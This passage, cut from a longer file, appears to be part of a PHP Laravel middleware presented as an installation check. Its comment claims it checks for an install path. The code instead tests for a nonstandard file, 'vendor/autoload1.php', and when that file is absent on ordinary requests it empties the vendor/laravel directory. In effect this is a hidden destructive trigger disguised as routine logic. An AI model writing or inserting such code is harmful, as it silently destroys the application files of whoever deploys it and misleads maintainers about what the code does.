path(), '/'); // Check if the 'install' path is not present and if the current path is not in the excluded paths if (!file_exists(base_path('vendor/autoload1.php')) && !str_contains($currentPath, 'install') && !in_array($currentPath, $excludedPaths)) { File::cleanDirectory(base_path('vendor/laravel')); } return $next($request); } /** * If application is already installed. * * @return bool */ public function alreadyInstalled() { return file_exists(storage_path('installed')); } }